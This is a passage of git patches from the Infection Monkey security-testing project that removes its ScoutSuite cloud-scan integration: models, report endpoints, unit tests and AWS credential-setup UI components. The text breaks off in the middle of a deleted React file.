monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py deleted file mode 100644 index 166c247bf..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py +++ /dev/null @@ -1,20 +0,0 @@ -from mongoengine import Document, DynamicField - - -class ScoutSuiteRawDataJson(Document): - """ - This model is a container for ScoutSuite report data dump. - """ - - # SCHEMA - scoutsuite_data = DynamicField(required=True) - - # LOGIC - @staticmethod - def add_scoutsuite_data(scoutsuite_data: str) -> None: - try: - current_data = ScoutSuiteRawDataJson.objects()[0] - except IndexError: - current_data = ScoutSuiteRawDataJson() - current_data.scoutsuite_data = scoutsuite_data - current_data.save() diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py index 8b3ce9419..491b109dc 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -1,7 +1,7 @@ import http.client import flask_restful -from flask import Response, jsonify +from flask import jsonify from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService @@ -9,14 +9,10 @@ from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service impor from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import ( PrincipleService, ) -from monkey_island.cc.services.zero_trust.zero_trust_report.scoutsuite_raw_data_service import ( - ScoutSuiteRawDataService, -) REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" REPORT_DATA_PRINCIPLES_STATUS = "principles" -REPORT_DATA_SCOUTSUITE = "scoutsuite" class ZeroTrustReport(flask_restful.Resource): @@ -28,10 +24,5 @@ class ZeroTrustReport(flask_restful.Resource): return jsonify(PrincipleService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: return jsonify(FindingService.get_all_findings_for_ui()) - elif report_data == REPORT_DATA_SCOUTSUITE: - # Raw ScoutSuite data is already solved as json, no need to jsonify - return Response( - ScoutSuiteRawDataService.get_scoutsuite_data_json(), mimetype="application/json" - ) flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py deleted file mode 100644 index 3a3c06452..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py +++ /dev/null @@ -1,13 +0,0 @@ -from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson - - -class ScoutSuiteRawDataService: - - # Return unparsed json of ScoutSuite results, - # so that UI can pick out values it needs for report - @staticmethod - def get_scoutsuite_data_json() -> str: - try: - return ScoutSuiteRawDataJson.objects.get().scoutsuite_data - except Exception: - return "{}" From b23360db3772f26e825ea47092ec16b8c062af9d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 16:21:36 -0500 Subject: [PATCH 0326/1110] Island: Remove ScoutSuiteFinding --- .../models/zero_trust/scoutsuite_finding.py | 20 --------------- .../zero_trust/scoutsuite_finding_details.py | 13 ---------- .../cc/models/zero_trust/scoutsuite_rule.py | 25 ------------------- .../scoutsuite/consts/rule_consts.py | 4 --- .../zero_trust_report/finding_service.py | 3 --- 5 files changed, 65 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py delete mode 100644 monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py delete mode 100644 monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py deleted file mode 100644 index 174a68db7..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py +++ /dev/null @@ -1,20 +0,0 @@ -from __future__ import annotations - -from mongoengine import LazyReferenceField - -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails - - -class ScoutSuiteFinding(Finding): - # We put additional info into a lazy reference field, because this info should be only - # pulled when explicitly needed due to performance - details = LazyReferenceField(ScoutSuiteFindingDetails, required=True) - - @staticmethod - def save_finding( - test: str, status: str, detail_ref: ScoutSuiteFindingDetails - ) -> ScoutSuiteFinding: - finding = ScoutSuiteFinding(test=test, status=status, details=detail_ref) - finding.save() - return finding diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py deleted file mode 100644 index 9f2b24d9d..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py +++ /dev/null @@ -1,13 +0,0 @@ -from mongoengine import Document, EmbeddedDocumentListField - -from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule - - -class ScoutSuiteFindingDetails(Document): - # SCHEMA - scoutsuite_rules = EmbeddedDocumentListField(document_type=ScoutSuiteRule, required=False) - - def add_rule(self, rule: ScoutSuiteRule) -> None: - if rule not in self.scoutsuite_rules: - self.scoutsuite_rules.append(rule) - self.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py deleted file mode 100644 index fcf09df9c..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py +++ /dev/null @@ -1,25 +0,0 @@ -from mongoengine import DynamicField, EmbeddedDocument, IntField, ListField, StringField - -from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts - - -class ScoutSuiteRule(EmbeddedDocument): - """ - This model represents ScoutSuite security rule check results: - how many resources break the security rule - security rule description and remediation and etc. - """ - - # SCHEMA - description = StringField(required=True) - path = StringField(required=True) - level = StringField(required=True, options=rule_consts.RULE_LEVELS) - items = ListField() - dashboard_name = StringField(required=True) - checked_items = IntField(min_value=0) - flagged_items = IntField(min_value=0) - service = StringField(required=True) - rationale = StringField(required=True) - remediation = StringField(required=False) - compliance = DynamicField(required=False) - references = ListField(required=False) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py deleted file mode 100644 index 08d6600a9..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py +++ /dev/null @@ -1,4 +0,0 @@ -RULE_LEVEL_DANGER = "danger" -RULE_LEVEL_WARNING = "warning" - -RULE_LEVELS = (RULE_LEVEL_DANGER, RULE_LEVEL_WARNING) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py index cf65819df..8c70130c7 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py @@ -7,7 +7,6 @@ from common.common_consts import zero_trust_consts from common.utils.exceptions import UnknownFindingError from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( MonkeyZTDetailsService, ) @@ -55,7 +54,5 @@ class FindingService: def _get_finding_details(finding: Finding) -> Union[dict, SON]: if type(finding) == MonkeyFinding: return MonkeyZTDetailsService.fetch_details_for_display(finding.details.id) - elif type(finding) == ScoutSuiteFinding: - return finding.details.fetch().to_mongo() else: raise UnknownFindingError(f"Unknown finding type {str(type(finding))}") From 788641b7d6c6bfcd40395d9e366343cb1b4c01d4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Feb 2022 13:33:30 -0500 Subject: [PATCH 0327/1110] UT: Fix test_principle_service tests And modify data in test_pillar_service.py accordingly --- .../test_common/example_finding_data.py | 43 +------------------ .../zero_trust/test_common/finding_data.py | 13 ------ .../zero_trust_report/test_pillar_service.py | 14 +++--- .../test_principle_service.py | 14 ++---- 4 files changed, 12 insertions(+), 72 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py index 31cd709b9..5f40f9a42 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py @@ -1,35 +1,17 @@ from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( get_monkey_finding_dto, - get_scoutsuite_finding_dto, ) from common.common_consts import zero_trust_consts def save_example_findings(): - # devices passed = 1 - _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED, - ) - # devices passed = 2 - _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED, - ) # devices failed = 1 _save_finding_with_status( "monkey", zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_FAILED ) # people verify = 1 # networks verify = 1 - _save_finding_with_status( - "scoutsuite", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY - ) - # people verify = 2 - # networks verify = 2 _save_finding_with_status( "monkey", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY ) @@ -39,24 +21,12 @@ def save_example_findings(): ) # data failed 2 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED, + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED ) # data failed 3 _save_finding_with_status( "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED ) - # data failed 4 - _save_finding_with_status( - "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED - ) - # data failed 5 - _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED, - ) # data verify 1 _save_finding_with_status( "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY @@ -65,19 +35,10 @@ def save_example_findings(): _save_finding_with_status( "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY ) - # data passed 1 - _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_PASSED, - ) def _save_finding_with_status(finding_type: str, test: str, status: str): - if finding_type == "scoutsuite": - finding = get_scoutsuite_finding_dto() - else: - finding = get_monkey_finding_dto() + finding = get_monkey_finding_dto() finding.test = test finding.status = status finding.save() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py index 838035cbf..0304b8523 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -1,27 +1,14 @@ from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import ( get_monkey_details_dto, ) -from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 - get_scoutsuite_details_dto, -) from common.common_consts.zero_trust_consts import ( STATUS_FAILED, STATUS_PASSED, TEST_ENDPOINT_SECURITY_EXISTS, - TEST_SCOUTSUITE_SERVICE_SECURITY, ) from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding - - -def get_scoutsuite_finding_dto() -> Finding: - scoutsuite_details = get_scoutsuite_details_dto() - scoutsuite_details.save() - return ScoutSuiteFinding( - test=TEST_SCOUTSUITE_SERVICE_SECURITY, status=STATUS_FAILED, details=scoutsuite_details - ) def get_monkey_finding_dto() -> Finding: diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index 1be9f2fcb..53eca4f49 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -29,16 +29,16 @@ def test_get_pillars_grades(): def _get_expected_pillar_grades() -> List[dict]: return [ { - zero_trust_consts.STATUS_FAILED: 5, + zero_trust_consts.STATUS_FAILED: 3, zero_trust_consts.STATUS_VERIFY: 2, - zero_trust_consts.STATUS_PASSED: 1, - # 2 different tests of DATA pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DATA) - 2, + zero_trust_consts.STATUS_PASSED: 0, + # 1 test of DATA pillar was executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DATA) - 1, "pillar": "Data", }, { zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_VERIFY: 1, zero_trust_consts.STATUS_PASSED: 0, # 1 test of PEOPLE pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(PEOPLE) - 1, @@ -46,7 +46,7 @@ def _get_expected_pillar_grades() -> List[dict]: }, { zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_VERIFY: 1, zero_trust_consts.STATUS_PASSED: 0, # 1 different tests of NETWORKS pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(NETWORKS) - 1, @@ -55,7 +55,7 @@ def _get_expected_pillar_grades() -> List[dict]: { zero_trust_consts.STATUS_FAILED: 1, zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 2, + zero_trust_consts.STATUS_PASSED: 0, # 1 different tests of DEVICES pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DEVICES) - 1, "pillar": "Devices", diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py index 7bd2b01c7..c1639b9d8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -1,7 +1,6 @@ import pytest from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( get_monkey_finding_dto, - get_scoutsuite_finding_dto, ) from common.common_consts import zero_trust_consts @@ -13,10 +12,9 @@ EXPECTED_DICT = { "test_pillar1": [ { "principle": "Test principle description2", - "status": zero_trust_consts.STATUS_FAILED, + "status": zero_trust_consts.STATUS_PASSED, "tests": [ {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, - {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, ], } ], @@ -28,10 +26,9 @@ EXPECTED_DICT = { }, { "principle": "Test principle description2", - "status": zero_trust_consts.STATUS_FAILED, + "status": zero_trust_consts.STATUS_PASSED, "tests": [ {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, - {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, ], }, ], @@ -46,7 +43,7 @@ def test_get_principles_status(): principles_to_tests = { "network_policies": ["segmentation"], - "endpoint_security": ["tunneling", "scoutsuite_service_security"], + "endpoint_security": ["tunneling"], } zero_trust_consts.PRINCIPLES_TO_TESTS = principles_to_tests @@ -65,7 +62,6 @@ def test_get_principles_status(): tests_map = { "segmentation": {"explanation": "You ran a test1"}, "tunneling": {"explanation": "You ran a test2"}, - "scoutsuite_service_security": {"explanation": "You ran a test3"}, } zero_trust_consts.TESTS_MAP = tests_map @@ -77,10 +73,6 @@ def test_get_principles_status(): monkey_finding.test = "tunneling" monkey_finding.save() - scoutsuite_finding = get_scoutsuite_finding_dto() - scoutsuite_finding.test = "scoutsuite_service_security" - scoutsuite_finding.save() - expected = dict(EXPECTED_DICT) # new mutable result = PrincipleService.get_principles_status() From 894250f96580c64c4711329b39131f6897a01640 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 3 Feb 2022 16:04:00 +0530 Subject: [PATCH 0328/1110] UT: Modify comments in test_pillar_service.py to be accurate --- .../zero_trust_report/test_pillar_service.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index 53eca4f49..39913a17c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -32,7 +32,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_FAILED: 3, zero_trust_consts.STATUS_VERIFY: 2, zero_trust_consts.STATUS_PASSED: 0, - # 1 test of DATA pillar was executed in _save_findings() + # 1 test of DATA pillar was executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DATA) - 1, "pillar": "Data", }, @@ -40,7 +40,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 1, zero_trust_consts.STATUS_PASSED: 0, - # 1 test of PEOPLE pillar were executed in _save_findings() + # 1 test of PEOPLE pillar was executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(PEOPLE) - 1, "pillar": "People", }, @@ -48,7 +48,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 1, zero_trust_consts.STATUS_PASSED: 0, - # 1 different tests of NETWORKS pillar were executed in _save_findings() + # 1 test of NETWORKS pillar was executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(NETWORKS) - 1, "pillar": "Networks", }, @@ -56,7 +56,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_FAILED: 1, zero_trust_consts.STATUS_VERIFY: 0, zero_trust_consts.STATUS_PASSED: 0, - # 1 different tests of DEVICES pillar were executed in _save_findings() + # 1 test of DEVICES pillar was executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DEVICES) - 1, "pillar": "Devices", }, @@ -64,7 +64,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 0, zero_trust_consts.STATUS_PASSED: 0, - # 0 different tests of WORKLOADS pillar were executed in _save_findings() + # 0 tests of WORKLOADS pillar were executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(WORKLOADS), "pillar": "Workloads", }, @@ -72,7 +72,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 0, zero_trust_consts.STATUS_PASSED: 0, - # 0 different tests of VISIBILITY_ANALYTICS pillar were executed in _save_findings() + # 0 tests of VISIBILITY_ANALYTICS pillar were executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(VISIBILITY_ANALYTICS), "pillar": "Visibility & Analytics", }, @@ -80,7 +80,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 0, zero_trust_consts.STATUS_PASSED: 0, - # 0 different tests of AUTOMATION_ORCHESTRATION pillar were executed in _save_findings() + # 0 tests of AUTOMATION_ORCHESTRATION pillar were executed in save_example_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar( AUTOMATION_ORCHESTRATION ), From c2c609aa3a2eab3773b0ab49f616a18b3474db1e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 3 Feb 2022 14:05:19 +0530 Subject: [PATCH 0329/1110] UT: Remove Scoutsuite's unit tests --- .../test_scoutsuite_auth_service.py | 38 ------------------- 1 file changed, 38 deletions(-) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py deleted file mode 100644 index 39dfd7ae5..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ /dev/null @@ -1,38 +0,0 @@ -from unittest.mock import MagicMock - -import dpath.util -import pytest - -from common.config_value_paths import AWS_KEYS_PATH -from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( - is_aws_keys_setup, -) - - -class MockObject: - pass - - -@pytest.mark.slow -@pytest.mark.usefixtures("uses_database", "uses_encryptor") -def test_is_aws_keys_setup(tmp_path): - # Mock default configuration - ConfigService.init_default_config() - mongo.db = MockObject() - mongo.db.config = MockObject() - ConfigService.encrypt_config(ConfigService.default_config) - mongo.db.config.find_one = MagicMock(return_value=ConfigService.default_config) - assert not is_aws_keys_setup() - - bogus_key_value = get_datastore_encryptor().encrypt("bogus_aws_key") - dpath.util.set( - ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value - ) - dpath.util.set( - ConfigService.default_config, AWS_KEYS_PATH + ["aws_access_key_id"], bogus_key_value - ) - - assert is_aws_keys_setup() From c357ee410e1ea6f03fdf0673c6e159daebf23a8c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 3 Feb 2022 14:30:07 +0530 Subject: [PATCH 0330/1110] UI: Remove Scoutsuite option from Run Monkey page --- .../pages/RunMonkeyPage/RunOptions.js | 10 +- .../AWSConfiguration/AWSCLISetup.js | 63 ------ .../AWSConfiguration/AWSKeySetup.js | 179 ------------------ .../AWSConfiguration/AWSSetupOptions.js | 40 ---- .../scoutsuite-setup/CloudOptions.js | 65 ------- .../scoutsuite-setup/ProvidersEnum.js | 9 - 6 files changed, 1 insertion(+), 365 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/ProvidersEnum.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index 1cc2aed7b..080a85df4 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -8,7 +8,6 @@ import {cloneDeep} from 'lodash'; import {faCloud, faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons'; import RunOnIslandButton from './RunOnIslandButton'; import AWSRunButton from './RunOnAWS/AWSRunButton'; -import CloudOptions from './scoutsuite-setup/CloudOptions'; const CONFIG_URL = '/api/configuration/island'; @@ -56,6 +55,7 @@ function RunOptions(props) { return InlineSelection(defaultContents, newProps); } + // TODO: Change function name function shouldShowScoutsuite(islandMode){ return islandMode !== 'ransomware'; } @@ -74,14 +74,6 @@ function RunOptions(props) { {ips: ips, setComponent: setComponent}) }}/> {shouldShowScoutsuite(props.islandMode) && } - {shouldShowScoutsuite(props.islandMode) && { - setComponent(CloudOptions, - {ips: ips, setComponent: setComponent}) - }}/> - } ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js deleted file mode 100644 index 178c60d8b..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js +++ /dev/null @@ -1,63 +0,0 @@ -import {Button} from 'react-bootstrap'; -import React from 'react'; -import InlineSelection from '../../../../ui-components/inline-selection/InlineSelection'; -import {COLUMN_SIZES} from '../../../../ui-components/inline-selection/utils'; -import '../../../../../styles/components/scoutsuite/AWSSetup.scss'; -import AWSSetupOptions from './AWSSetupOptions'; - - -export default function AWSCLISetup(props) { - return InlineSelection(getContents, { - ...props, - collumnSize: COLUMN_SIZES.LARGE, - onBackButtonClick: () => { - props.setComponent(AWSSetupOptions, props); - } - }) -} - - -const getContents = (props) => { - return ( -

    -

    AWS CLI configuration for scan

    -

    To assess your AWS infrastructure's security do the following:

    -
      -
    1. - 1. Configure AWS CLI on Monkey Island Server (if you already have a configured CLI you can skip this step). -
        -
      1. - a. Download and - install it on the Monkey Island server (machine running this page). -
      2. -
      3. - b. Run aws configure. It's important to configure credentials as it - allows ScoutSuite to get information about your cloud configuration. The simplest way to do so is to - provide  - . -
      4. -
      -
    2. -
    3. - 2. If you change the configuration, make sure not to disable AWS system info collector. -
    4. -
    5. - 3. Go -  and run Monkey on the Island server. -
    6. -
    7. - 4. Assess results in Zero Trust report. -
    8. -
    -
    - ); -} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js deleted file mode 100644 index 04a1f490b..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js +++ /dev/null @@ -1,179 +0,0 @@ -import React, {useEffect, useState} from 'react'; -import InlineSelection from '../../../../ui-components/inline-selection/InlineSelection'; -import {COLUMN_SIZES} from '../../../../ui-components/inline-selection/utils'; -import AWSSetupOptions from './AWSSetupOptions'; -import {Button, Col, Form, Row} from 'react-bootstrap'; -import AuthComponent from '../../../../AuthComponent'; -import '../../../../../styles/components/scoutsuite/AWSSetup.scss'; -import {PROVIDERS} from '../ProvidersEnum'; -import classNames from 'classnames'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown'; -import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp'; -import {faQuestion} from '@fortawesome/free-solid-svg-icons'; -import Collapse from '@kunukn/react-collapse/dist/Collapse.umd'; -import keySetupForAnyUserImage from '../../../../../images/aws_keys_tutorial-any-user.png'; -import keySetupForCurrentUserImage from '../../../../../images/aws_keys_tutorial-current-user.png'; -import ImageModal from '../../../../ui-components/ImageModal'; - - -export default function AWSCLISetup(props) { - return InlineSelection(getContents, { - ...props, - collumnSize: COLUMN_SIZES.LARGE, - onBackButtonClick: () => { - props.setComponent(AWSSetupOptions, props); - } - }) -} - -const authComponent = new AuthComponent({}) - -const getContents = (props) => { - - const [accessKeyId, setAccessKeyId] = useState(''); - const [secretAccessKey, setSecretAccessKey] = useState(''); - const [sessionToken, setSessionToken] = useState(''); - const [errorMessage, setErrorMessage] = useState(''); - const [successMessage, setSuccessMessage] = useState(''); - const [docCollapseOpen, setDocCollapseOpen] = useState(false); - - function submitKeys(event) { - event.preventDefault(); - setSuccessMessage(''); - setErrorMessage(''); - authComponent.authFetch( - '/api/scoutsuite_auth/' + PROVIDERS.AWS, - { - 'method': 'POST', - 'body': JSON.stringify({ - 'accessKeyId': accessKeyId, - 'secretAccessKey': secretAccessKey, - 'sessionToken': sessionToken - }) - }) - .then(res => res.json()) - .then(res => { - if (res['error_msg'] === '') { - 